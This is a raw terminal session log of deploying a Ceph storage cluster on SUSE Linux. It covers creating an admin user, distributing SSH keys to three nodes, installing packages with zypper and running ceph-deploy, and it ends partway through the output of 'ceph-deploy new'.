ceph-deploy osd prepare node:dev when check with ceph -k ceph.client.admin.keyring status ceph -w (watch) geeko@ses-admin:~/Desktop> sudo su - We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. root's password: ses-admin:~ # yast yast yast2 ses-admin:~ # yast2 ses-admin:~ # useradd -m cephadm ses-admin:~ # passwd cephadm New password: BAD PASSWORD: it is too short BAD PASSWORD: is too simple Retype new password: passwd: password updated successfully ses-admin:~ # visudo visudo: /etc/sudoers.tmp unchanged ses-admin:~ # visudo ses-admin:~ # su – cephadm su: user – does not exist ses-admin:~ # su - cephadm cephadm@ses-admin:~> ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/home/cephadm/.ssh/id_rsa): Created directory '/home/cephadm/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/cephadm/.ssh/id_rsa. Your public key has been saved in /home/cephadm/.ssh/id_rsa.pub. The key fingerprint is: 9e:b2:bd:31:6f:32:10:b6:7e:84:77:33:79:86:a3:e6 [MD5] cephadm@ses-admin The key's randomart image is: +--[ RSA 2048]----+ | | | | | | | o | | . +S o | | +.o.B o | | ..+=o * | | .+*+. | | .+E=. | +--[MD5]----------+ cephadm@ses-admin:~> ssh-copy-id cephadm@ses-node1 The authenticity of host 'ses-node1 (192.168.100.11)' can't be established. ECDSA key fingerprint is 33:4d:5a:db:e7:69:26:2b:90:11:91:ad:ab:3d:49:eb [MD5]. Are you sure you want to continue connecting (yes/no)? yes /usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed /usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys Password: Number of key(s) added: 1 Now try logging into the machine, with: "ssh 'cephadm@ses-node1'" and check to make sure that only the key(s) you wanted were added. cephadm@ses-admin:~> ssh-copy-id cephadm@ses-node2 The authenticity of host 'ses-node2 (192.168.100.12)' can't be established. ECDSA key fingerprint is 33:4d:5a:db:e7:69:26:2b:90:11:91:ad:ab:3d:49:eb [MD5]. Are you sure you want to continue connecting (yes/no)? yes /usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed /usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys Password: Number of key(s) added: 1 Now try logging into the machine, with: "ssh 'cephadm@ses-node2'" and check to make sure that only the key(s) you wanted were added. cephadm@ses-admin:~> ssh-copy-id cephadm@ses-node3 The authenticity of host 'ses-node3 (192.168.100.13)' can't be established. ECDSA key fingerprint is 33:4d:5a:db:e7:69:26:2b:90:11:91:ad:ab:3d:49:eb [MD5]. Are you sure you want to continue connecting (yes/no)? yes /usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed /usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys Password: Number of key(s) added: 1 Now try logging into the machine, with: "ssh 'cephadm@ses-node3'" and check to make sure that only the key(s) you wanted were added. cephadm@ses-admin:~> ssh ses-node3 id uid=1001(cephadm) gid=100(users) groups=100(users) cephadm@ses-admin:~> exit logout ses-admin:~ # zypper in ceph ceph-deploy Loading repository data... Reading installed packages... Resolving package dependencies... The following 42 NEW packages are going to be installed: FastCGI babeltrace ceph ceph-base ceph-common ceph-deploy ceph-mds ceph-mon ceph-osd gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-Flask python-Jinja2 python-MarkupSafe python-Werkzeug python-apipkg python-argparse python-cephfs python-ecdsa python-execnet python-itsdangerous python-paramiko python-pushy python-pycrypto python-rados python-rbd python-remoto python-requests supportutils-plugin-ses The following package is not supported by its vendor: libxio 42 new packages to install. Overall download size: 48.7 MiB. Already cached: 0 B. After the operation, additional 211.7 MiB will be used. Continue? [y/n/? shows all options] (y): y Retrieving package python-Werkzeug-0.9.6-5.2.noarch (1/42), 483.9 KiB ( 2.2 MiB unpacked) Retrieving package python-apipkg-1.2-1.2.noarch (2/42), 9.2 KiB ( 18.2 KiB unpacked) Retrieving package python-ecdsa-0.13-2.1.noarch (3/42), 77.4 KiB (261.8 KiB unpacked) Retrieving package python-itsdangerous-0.24-2.1.noarch (4/42), 20.2 KiB ( 69.1 KiB unpacked) Retrieving package supportutils-plugin-ses-1.0+git.1463485157.269428c-4.1.noarch (5/42), 13.7 KiB ( 26.0 KiB unpacked) Retrieving package FastCGI-2.4.0-167.1.x86_64 (6/42), 184.8 KiB (587.6 KiB unpacked) Retrieving package libboost_random1_54_0-1.54.0-13.1.x86_64 (7/42), 20.0 KiB ( 10.3 KiB unpacked) Retrieving package libleveldb1-1.18-1.3.x86_64 (8/42), 132.8 KiB (361.3 KiB unpacked) Retrieving package python-MarkupSafe-0.18-7.1.x86_64 (9/42), 24.6 KiB ( 66.0 KiB unpacked) Retrieving package python-pycrypto-2.6.1-4.1.x86_64 (10/42), 371.5 KiB ( 2.0 MiB unpacked) Retrieving package python-execnet-1.4.1-1.3.noarch (11/42), 73.7 KiB (249.5 KiB unpacked) Retrieving package python-Jinja2-2.7.3-17.1.noarch (12/42), 278.5 KiB ( 1.7 MiB unpacked) Retrieving package python-paramiko-1.15.2-1.1.noarch (13/42), 860.0 KiB ( 5.1 MiB unpacked) Retrieving package python-remoto-0.0.27-1.1.noarch (14/42), 80.6 KiB (298.2 KiB unpacked) Retrieving package python-Flask-0.10.1-2.1.noarch (15/42), 178.0 KiB (827.7 KiB unpacked) Retrieving package python-pushy-0.5.3-1.5.noarch (16/42), 58.3 KiB (238.5 KiB unpacked) Retrieving package python-argparse-1.2.1-15.8.noarch (17/42), 248.6 KiB (490.1 KiB unpacked) Retrieving package python-requests-2.3.0-6.5.2.noarch (18/42), 334.6 KiB ( 1.7 MiB unpacked) Retrieving package babeltrace-1.2.4-3.2.x86_64 (19/42), 159.0 KiB (463.9 KiB unpacked) Retrieving package gperftools-2.2-2.2.x86_64 (20/42), 554.3 KiB ( 2.2 MiB unpacked) Retrieving package libboost_iostreams1_54_0-1.54.0-13.1.x86_64 (21/42), 39.8 KiB (103.1 KiB unpacked) Retrieving package libboost_program_options1_54_0-1.54.0-13.1.x86_64 (22/42), 125.5 KiB (456.7 KiB unpacked) Retrieving package libibverbs1-1.1.7-12.2.x86_64 (23/42), 34.1 KiB ( 71.4 KiB unpacked) Retrieving package liburcu0-0.8.8-1.2.x86_64 (24/42), 49.4 KiB (182.6 KiB unpacked) Retrieving package librdmacm1-1.0.18.1-1.14.x86_64 (25/42), 53.4 KiB (129.1 KiB unpacked) Retrieving package lttng-ust-2.7.0-1.2.x86_64 (26/42), 171.4 KiB (754.7 KiB unpacked) Retrieving package ceph-deploy-1.5.32+git.1464082518.5aab689-1.1.noarch (27/42), 174.7 KiB (740.3 KiB unpacked) Retrieving package libxio-1.6+git.1461071064.e0ed264-2.1.x86_64 (28/42), 242.5 KiB (885.9 KiB unpacked) Retrieving package librados2-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (29/42), 1.7 MiB ( 6.3 MiB unpacked) Retrieving package libcephfs1-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (30/42), 1.8 MiB ( 6.0 MiB unpacked) Retrieving package python-rados-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (31/42), 209.0 KiB (493.4 KiB unpacked) Retrieving package librgw2-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (32/42), 2.7 MiB ( 10.3 MiB unpacked) Retrieving package librbd1-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (33/42), 2.1 MiB ( 7.5 MiB unpacked) Retrieving package libradosstriper1-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (34/42), 1.8 MiB ( 6.9 MiB unpacked) Retrieving package python-cephfs-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (35/42), 138.1 KiB (227.4 KiB unpacked) Retrieving package python-rbd-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (36/42), 133.1 KiB (184.9 KiB unpacked) Retrieving package ceph-common-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (37/42), 14.9 MiB ( 67.1 MiB unpacked) Retrieving package ceph-base-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (38/42), 3.9 MiB ( 33.1 MiB unpacked) Retrieving package ceph-osd-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (39/42), 9.0 MiB ( 33.2 MiB unpacked) Retrieving package ceph-mon-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (40/42), 2.7 MiB ( 9.3 MiB unpacked) Retrieving package ceph-mds-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (41/42), 2.7 MiB ( 9.3 MiB unpacked) Retrieving package ceph-10.2.1+git.1464009581.b8ee9e4-1.1.x86_64 (42/42), 79.1 KiB ( 0 B unpacked) Checking for file conflicts: .............................................................................[done] ( 1/42) Installing: python-Werkzeug-0.9.6-5.2 ............................................................[done] ( 2/42) Installing: python-apipkg-1.2-1.2 ................................................................[done] ( 3/42) Installing: python-ecdsa-0.13-2.1 ................................................................[done] ( 4/42) Installing: python-itsdangerous-0.24-2.1 .........................................................[done] ( 5/42) Installing: supportutils-plugin-ses-1.0+git.1463485157.269428c-4.1 ...............................[done] ( 6/42) Installing: FastCGI-2.4.0-167.1 ..................................................................[done] ( 7/42) Installing: libboost_random1_54_0-1.54.0-13.1 ....................................................[done] ( 8/42) Installing: libleveldb1-1.18-1.3 .................................................................[done] ( 9/42) Installing: python-MarkupSafe-0.18-7.1 ...........................................................[done] (10/42) Installing: python-pycrypto-2.6.1-4.1 ............................................................[done] (11/42) Installing: python-execnet-1.4.1-1.3 .............................................................[done] (12/42) Installing: python-Jinja2-2.7.3-17.1 .............................................................[done] (13/42) Installing: python-paramiko-1.15.2-1.1 ...........................................................[done] (14/42) Installing: python-remoto-0.0.27-1.1 .............................................................[done] (15/42) Installing: python-Flask-0.10.1-2.1 ..............................................................[done] (16/42) Installing: python-pushy-0.5.3-1.5 ...............................................................[done] (17/42) Installing: python-argparse-1.2.1-15.8 ...........................................................[done] (18/42) Installing: python-requests-2.3.0-6.5.2 ..........................................................[done] (19/42) Installing: babeltrace-1.2.4-3.2 .................................................................[done] (20/42) Installing: gperftools-2.2-2.2 ...................................................................[done] (21/42) Installing: libboost_iostreams1_54_0-1.54.0-13.1 .................................................[done] (22/42) Installing: libboost_program_options1_54_0-1.54.0-13.1 ...........................................[done] (23/42) Installing: libibverbs1-1.1.7-12.2 ...............................................................[done] (24/42) Installing: liburcu0-0.8.8-1.2 ...................................................................[done] (25/42) Installing: librdmacm1-1.0.18.1-1.14 .............................................................[done] (26/42) Installing: lttng-ust-2.7.0-1.2 ..................................................................[done] (27/42) Installing: ceph-deploy-1.5.32+git.1464082518.5aab689-1.1 ........................................[done] (28/42) Installing: libxio-1.6+git.1461071064.e0ed264-2.1 ................................................[done] (29/42) Installing: librados2-10.2.1+git.1464009581.b8ee9e4-1.1 ..........................................[done] (30/42) Installing: libcephfs1-10.2.1+git.1464009581.b8ee9e4-1.1 .........................................[done] (31/42) Installing: python-rados-10.2.1+git.1464009581.b8ee9e4-1.1 .......................................[done] (32/42) Installing: librgw2-10.2.1+git.1464009581.b8ee9e4-1.1 ............................................[done] (33/42) Installing: librbd1-10.2.1+git.1464009581.b8ee9e4-1.1 ............................................[done] (34/42) Installing: libradosstriper1-10.2.1+git.1464009581.b8ee9e4-1.1 ...................................[done] (35/42) Installing: python-cephfs-10.2.1+git.1464009581.b8ee9e4-1.1 ......................................[done] (36/42) Installing: python-rbd-10.2.1+git.1464009581.b8ee9e4-1.1 .........................................[done] (37/42) Installing: ceph-common-10.2.1+git.1464009581.b8ee9e4-1.1 ........................................[done] (38/42) Installing: ceph-base-10.2.1+git.1464009581.b8ee9e4-1.1 ..........................................[done] Additional rpm output: Updating /etc/sysconfig/ceph... (39/42) Installing: ceph-osd-10.2.1+git.1464009581.b8ee9e4-1.1 ...........................................[done] (40/42) Installing: ceph-mon-10.2.1+git.1464009581.b8ee9e4-1.1 ...........................................[done] (41/42) Installing: ceph-mds-10.2.1+git.1464009581.b8ee9e4-1.1 ...........................................[done] (42/42) Installing: ceph-10.2.1+git.1464009581.b8ee9e4-1.1 ...............................................[done] ses-admin:~ # su – cephadm su: user – does not exist ses-admin:~ # su - cephadm cephadm@ses-admin:~> ls bin public_html cephadm@ses-admin:~> ceph-deploy install ses-node1 ses-node2 ses-node3 [ceph_deploy.conf][DEBUG ] found configuration file at: /home/cephadm/.cephdeploy.conf [ceph_deploy.cli][INFO ] Invoked (1.5.32): /usr/bin/ceph-deploy install ses-node1 ses-node2 ses-node3 [ceph_deploy.cli][INFO ] ceph-deploy options: [ceph_deploy.cli][INFO ] verbose : False [ceph_deploy.cli][INFO ] testing : None [ceph_deploy.cli][INFO ] cd_conf : <ceph_deploy.conf.cephdeploy.Conf instance at 0x7f12cbf6cef0> [ceph_deploy.cli][INFO ] cluster : ceph [ceph_deploy.cli][INFO ] dev_commit : None [ceph_deploy.cli][INFO ] install_mds : False [ceph_deploy.cli][INFO ] stable : None [ceph_deploy.cli][INFO ] default_release : False [ceph_deploy.cli][INFO ] username : None [ceph_deploy.cli][INFO ] adjust_repos : True [ceph_deploy.cli][INFO ] func : <function install at 0x7f12cc1b0668> [ceph_deploy.cli][INFO ] install_all : False [ceph_deploy.cli][INFO ] repo : False [ceph_deploy.cli][INFO ] host : ['ses-node1', 'ses-node2', 'ses-node3'] [ceph_deploy.cli][INFO ] install_rgw : False [ceph_deploy.cli][INFO ] install_tests : False [ceph_deploy.cli][INFO ] repo_url : None [ceph_deploy.cli][INFO ] ceph_conf : None [ceph_deploy.cli][INFO ] install_osd : False [ceph_deploy.cli][INFO ] version_kind : stable [ceph_deploy.cli][INFO ] install_common : False [ceph_deploy.cli][INFO ] overwrite_conf : False [ceph_deploy.cli][INFO ] quiet : False [ceph_deploy.cli][INFO ] dev : master [ceph_deploy.cli][INFO ] local_mirror : None [ceph_deploy.cli][INFO ] release : None [ceph_deploy.cli][INFO ] install_mon : False [ceph_deploy.cli][INFO ] gpg_url : None [ceph_deploy.install][DEBUG ] Installing stable version infernalis on cluster ceph hosts ses-node1 ses-node2 ses-node3 [ceph_deploy.install][DEBUG ] Detecting platform for host ses-node1 ... [ses-node1][DEBUG ] connection detected need for sudo [ses-node1][DEBUG ] connected to host: ses-node1 [ses-node1][DEBUG ] detect platform information from remote host [ses-node1][DEBUG ] detect machine type [ceph_deploy.install][INFO ] Distro info: SUSE Linux Enterprise Server 12 x86_64 [ses-node1][INFO ] installing Ceph on ses-node1 [ses-node1][INFO ] Running command: sudo zypper --non-interactive --quiet refresh [ses-node1][INFO ] Running command: sudo zypper --non-interactive --quiet install ceph ceph-radosgw [ses-node1][DEBUG ] [ses-node1][DEBUG ] The following 35 NEW packages are going to be installed: [ses-node1][DEBUG ] babeltrace ceph ceph-base ceph-common ceph-mds ceph-mon ceph-osd ceph-radosgw FastCGI gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-cephfs python-Flask python-itsdangerous python-Jinja2 python-MarkupSafe python-rados python-rbd python-requests python-setuptools python-Werkzeug supportutils-plugin-ses [ses-node1][DEBUG ] [ses-node1][DEBUG ] The following package is not supported by its vendor: [ses-node1][DEBUG ] libxio [ses-node1][DEBUG ] [ses-node1][DEBUG ] 35 new packages to install. [ses-node1][DEBUG ] Overall download size: 47.3 MiB. Already cached: 0 B. After the operation, additional 204.1 MiB will be used. [ses-node1][DEBUG ] Continue? [y/n/? shows all options] (y): y [ses-node1][INFO ] Running command: sudo ceph --version [ses-node1][DEBUG ] ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) [ceph_deploy.install][DEBUG ] Detecting platform for host ses-node2 ... [ses-node2][DEBUG ] connection detected need for sudo [ses-node2][DEBUG ] connected to host: ses-node2 [ses-node2][DEBUG ] detect platform information from remote host [ses-node2][DEBUG ] detect machine type [ceph_deploy.install][INFO ] Distro info: SUSE Linux Enterprise Server 12 x86_64 [ses-node2][INFO ] installing Ceph on ses-node2 [ses-node2][INFO ] Running command: sudo zypper --non-interactive --quiet refresh [ses-node2][INFO ] Running command: sudo zypper --non-interactive --quiet install ceph ceph-radosgw [ses-node2][DEBUG ] [ses-node2][DEBUG ] The following 35 NEW packages are going to be installed: [ses-node2][DEBUG ] babeltrace ceph ceph-base ceph-common ceph-mds ceph-mon ceph-osd ceph-radosgw FastCGI gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-cephfs python-Flask python-itsdangerous python-Jinja2 python-MarkupSafe python-rados python-rbd python-requests python-setuptools python-Werkzeug supportutils-plugin-ses [ses-node2][DEBUG ] [ses-node2][DEBUG ] The following package is not supported by its vendor: [ses-node2][DEBUG ] libxio [ses-node2][DEBUG ] [ses-node2][DEBUG ] 35 new packages to install. [ses-node2][DEBUG ] Overall download size: 47.3 MiB. Already cached: 0 B. After the operation, additional 204.1 MiB will be used. [ses-node2][DEBUG ] Continue? [y/n/? shows all options] (y): y [ses-node2][INFO ] Running command: sudo ceph --version [ses-node2][DEBUG ] ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) [ceph_deploy.install][DEBUG ] Detecting platform for host ses-node3 ... [ses-node3][DEBUG ] connection detected need for sudo [ses-node3][DEBUG ] connected to host: ses-node3 [ses-node3][DEBUG ] detect platform information from remote host [ses-node3][DEBUG ] detect machine type [ceph_deploy.install][INFO ] Distro info: SUSE Linux Enterprise Server 12 x86_64 [ses-node3][INFO ] installing Ceph on ses-node3 [ses-node3][INFO ] Running command: sudo zypper --non-interactive --quiet refresh [ses-node3][INFO ] Running command: sudo zypper --non-interactive --quiet install ceph ceph-radosgw [ses-node3][DEBUG ] [ses-node3][DEBUG ] The following 35 NEW packages are going to be installed: [ses-node3][DEBUG ] babeltrace ceph ceph-base ceph-common ceph-mds ceph-mon ceph-osd ceph-radosgw FastCGI gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-cephfs python-Flask python-itsdangerous python-Jinja2 python-MarkupSafe python-rados python-rbd python-requests python-setuptools python-Werkzeug supportutils-plugin-ses [ses-node3][DEBUG ] [ses-node3][DEBUG ] The following package is not supported by its vendor: [ses-node3][DEBUG ] libxio [ses-node3][DEBUG ] [ses-node3][DEBUG ] 35 new packages to install. [ses-node3][DEBUG ] Overall download size: 47.3 MiB. Already cached: 0 B. After the operation, additional 204.1 MiB will be used. [ses-node3][DEBUG ] Continue? [y/n/? shows all options] (y): y [ses-node3][INFO ] Running command: sudo ceph --version [ses-node3][DEBUG ] ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) cephadm@ses-admin:~> ls bin ceph-deploy-ceph.log public_html cephadm@ses-admin:~> cat ceph-deploy-ceph.log [2016-11-07 11:37:32,854][ceph_deploy.conf][DEBUG ] found configuration file at: /home/cephadm/.cephdeploy.conf [2016-11-07 11:37:32,854][ceph_deploy.cli][INFO ] Invoked (1.5.32): /usr/bin/ceph-deploy install ses-node1 ses-node2 ses-node3 [2016-11-07 11:37:32,854][ceph_deploy.cli][INFO ] ceph-deploy options: [2016-11-07 11:37:32,854][ceph_deploy.cli][INFO ] verbose : False [2016-11-07 11:37:32,854][ceph_deploy.cli][INFO ] testing : None [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] cd_conf : <ceph_deploy.conf.cephdeploy.Conf instance at 0x7f12cbf6cef0> [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] cluster : ceph [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] dev_commit : None [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] install_mds : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] stable : None [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] default_release : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] username : None [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] adjust_repos : True [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] func : <function install at 0x7f12cc1b0668> [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] install_all : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] repo : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] host : ['ses-node1', 'ses-node2', 'ses-node3'] [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] install_rgw : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] install_tests : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] repo_url : None [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] ceph_conf : None [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] install_osd : False [2016-11-07 11:37:32,855][ceph_deploy.cli][INFO ] version_kind : stable [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] install_common : False [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] overwrite_conf : False [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] quiet : False [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] dev : master [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] local_mirror : None [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] release : None [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] install_mon : False [2016-11-07 11:37:32,856][ceph_deploy.cli][INFO ] gpg_url : None [2016-11-07 11:37:32,856][ceph_deploy.install][DEBUG ] Installing stable version infernalis on cluster ceph hosts ses-node1 ses-node2 ses-node3 [2016-11-07 11:37:32,856][ceph_deploy.install][DEBUG ] Detecting platform for host ses-node1 ... [2016-11-07 11:37:33,075][ses-node1][DEBUG ] connection detected need for sudo [2016-11-07 11:37:33,221][ses-node1][DEBUG ] connected to host: ses-node1 [2016-11-07 11:37:33,221][ses-node1][DEBUG ] detect platform information from remote host [2016-11-07 11:37:33,256][ses-node1][DEBUG ] detect machine type [2016-11-07 11:37:33,260][ceph_deploy.install][INFO ] Distro info: SUSE Linux Enterprise Server 12 x86_64 [2016-11-07 11:37:33,260][ses-node1][INFO ] installing Ceph on ses-node1 [2016-11-07 11:37:33,263][ses-node1][INFO ] Running command: sudo zypper --non-interactive --quiet refresh [2016-11-07 11:37:33,491][ses-node1][INFO ] Running command: sudo zypper --non-interactive --quiet install ceph ceph-radosgw [2016-11-07 11:37:33,758][ses-node1][DEBUG ] [2016-11-07 11:37:33,758][ses-node1][DEBUG ] The following 35 NEW packages are going to be installed: [2016-11-07 11:37:33,758][ses-node1][DEBUG ] babeltrace ceph ceph-base ceph-common ceph-mds ceph-mon ceph-osd ceph-radosgw FastCGI gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-cephfs python-Flask python-itsdangerous python-Jinja2 python-MarkupSafe python-rados python-rbd python-requests python-setuptools python-Werkzeug supportutils-plugin-ses [2016-11-07 11:37:33,758][ses-node1][DEBUG ] [2016-11-07 11:37:33,758][ses-node1][DEBUG ] The following package is not supported by its vendor: [2016-11-07 11:37:33,758][ses-node1][DEBUG ] libxio [2016-11-07 11:37:33,758][ses-node1][DEBUG ] [2016-11-07 11:37:33,759][ses-node1][DEBUG ] 35 new packages to install. [2016-11-07 11:37:33,759][ses-node1][DEBUG ] Overall download size: 47.3 MiB. Already cached: 0 B. After the operation, additional 204.1 MiB will be used. [2016-11-07 11:37:33,759][ses-node1][DEBUG ] Continue? [y/n/? shows all options] (y): y [2016-11-07 11:37:44,565][ses-node1][INFO ] Running command: sudo ceph --version [2016-11-07 11:37:44,683][ses-node1][DEBUG ] ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) [2016-11-07 11:37:44,683][ceph_deploy.install][DEBUG ] Detecting platform for host ses-node2 ... [2016-11-07 11:37:44,876][ses-node2][DEBUG ] connection detected need for sudo [2016-11-07 11:37:45,016][ses-node2][DEBUG ] connected to host: ses-node2 [2016-11-07 11:37:45,017][ses-node2][DEBUG ] detect platform information from remote host [2016-11-07 11:37:45,055][ses-node2][DEBUG ] detect machine type [2016-11-07 11:37:45,060][ceph_deploy.install][INFO ] Distro info: SUSE Linux Enterprise Server 12 x86_64 [2016-11-07 11:37:45,060][ses-node2][INFO ] installing Ceph on ses-node2 [2016-11-07 11:37:45,062][ses-node2][INFO ] Running command: sudo zypper --non-interactive --quiet refresh [2016-11-07 11:37:45,335][ses-node2][INFO ] Running command: sudo zypper --non-interactive --quiet install ceph ceph-radosgw [2016-11-07 11:37:45,602][ses-node2][DEBUG ] [2016-11-07 11:37:45,602][ses-node2][DEBUG ] The following 35 NEW packages are going to be installed: [2016-11-07 11:37:45,602][ses-node2][DEBUG ] babeltrace ceph ceph-base ceph-common ceph-mds ceph-mon ceph-osd ceph-radosgw FastCGI gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-cephfs python-Flask python-itsdangerous python-Jinja2 python-MarkupSafe python-rados python-rbd python-requests python-setuptools python-Werkzeug supportutils-plugin-ses [2016-11-07 11:37:45,602][ses-node2][DEBUG ] [2016-11-07 11:37:45,603][ses-node2][DEBUG ] The following package is not supported by its vendor: [2016-11-07 11:37:45,603][ses-node2][DEBUG ] libxio [2016-11-07 11:37:45,603][ses-node2][DEBUG ] [2016-11-07 11:37:45,603][ses-node2][DEBUG ] 35 new packages to install. [2016-11-07 11:37:45,603][ses-node2][DEBUG ] Overall download size: 47.3 MiB. Already cached: 0 B. After the operation, additional 204.1 MiB will be used. [2016-11-07 11:37:45,603][ses-node2][DEBUG ] Continue? [y/n/? shows all options] (y): y [2016-11-07 11:37:56,699][ses-node2][INFO ] Running command: sudo ceph --version [2016-11-07 11:37:56,819][ses-node2][DEBUG ] ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) [2016-11-07 11:37:56,820][ceph_deploy.install][DEBUG ] Detecting platform for host ses-node3 ... [2016-11-07 11:37:57,028][ses-node3][DEBUG ] connection detected need for sudo [2016-11-07 11:37:57,173][ses-node3][DEBUG ] connected to host: ses-node3 [2016-11-07 11:37:57,173][ses-node3][DEBUG ] detect platform information from remote host [2016-11-07 11:37:57,210][ses-node3][DEBUG ] detect machine type [2016-11-07 11:37:57,215][ceph_deploy.install][INFO ] Distro info: SUSE Linux Enterprise Server 12 x86_64 [2016-11-07 11:37:57,216][ses-node3][INFO ] installing Ceph on ses-node3 [2016-11-07 11:37:57,218][ses-node3][INFO ] Running command: sudo zypper --non-interactive --quiet refresh [2016-11-07 11:37:57,494][ses-node3][INFO ] Running command: sudo zypper --non-interactive --quiet install ceph ceph-radosgw [2016-11-07 11:37:57,762][ses-node3][DEBUG ] [2016-11-07 11:37:57,762][ses-node3][DEBUG ] The following 35 NEW packages are going to be installed: [2016-11-07 11:37:57,762][ses-node3][DEBUG ] babeltrace ceph ceph-base ceph-common ceph-mds ceph-mon ceph-osd ceph-radosgw FastCGI gperftools libboost_iostreams1_54_0 libboost_program_options1_54_0 libboost_random1_54_0 libcephfs1 libibverbs1 libleveldb1 librados2 libradosstriper1 librbd1 librdmacm1 librgw2 liburcu0 libxio lttng-ust python-cephfs python-Flask python-itsdangerous python-Jinja2 python-MarkupSafe python-rados python-rbd python-requests python-setuptools python-Werkzeug supportutils-plugin-ses [2016-11-07 11:37:57,762][ses-node3][DEBUG ] [2016-11-07 11:37:57,762][ses-node3][DEBUG ] The following package is not supported by its vendor: [2016-11-07 11:37:57,762][ses-node3][DEBUG ] libxio [2016-11-07 11:37:57,762][ses-node3][DEBUG ] [2016-11-07 11:37:57,762][ses-node3][DEBUG ] 35 new packages to install. [2016-11-07 11:37:57,762][ses-node3][DEBUG ] Overall download size: 47.3 MiB. Already cached: 0 B. After the operation, additional 204.1 MiB will be used. [2016-11-07 11:37:57,762][ses-node3][DEBUG ] Continue? [y/n/? shows all options] (y): y [2016-11-07 11:38:08,867][ses-node3][INFO ] Running command: sudo ceph --version [2016-11-07 11:38:08,987][ses-node3][DEBUG ] ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) cephadm@ses-admin:~> ceph -v ceph version 10.2.1-112-gb8ee9e4 (b8ee9e4007f0443ef50deb1a691c3ea8bd0a11fe) cephadm@ses-admin:~> ceph-deploy new ses-node1 [ceph_deploy.conf][DEBUG ] found configuration file at: /home/cephadm/.cephdeploy.conf [ceph_deploy.cli][INFO ] Invoked (1.5.32): /usr/bin/ceph-deploy new ses-node1 [ceph_deploy.cli][INFO ] ceph-deploy options: [ceph_deploy.cli][INFO ] username : None [ceph_deploy.cli][INFO ] verbose : False [ceph_deploy.cli][INFO ] overwrite_conf : False [ceph_deploy.cli][INFO ] quiet 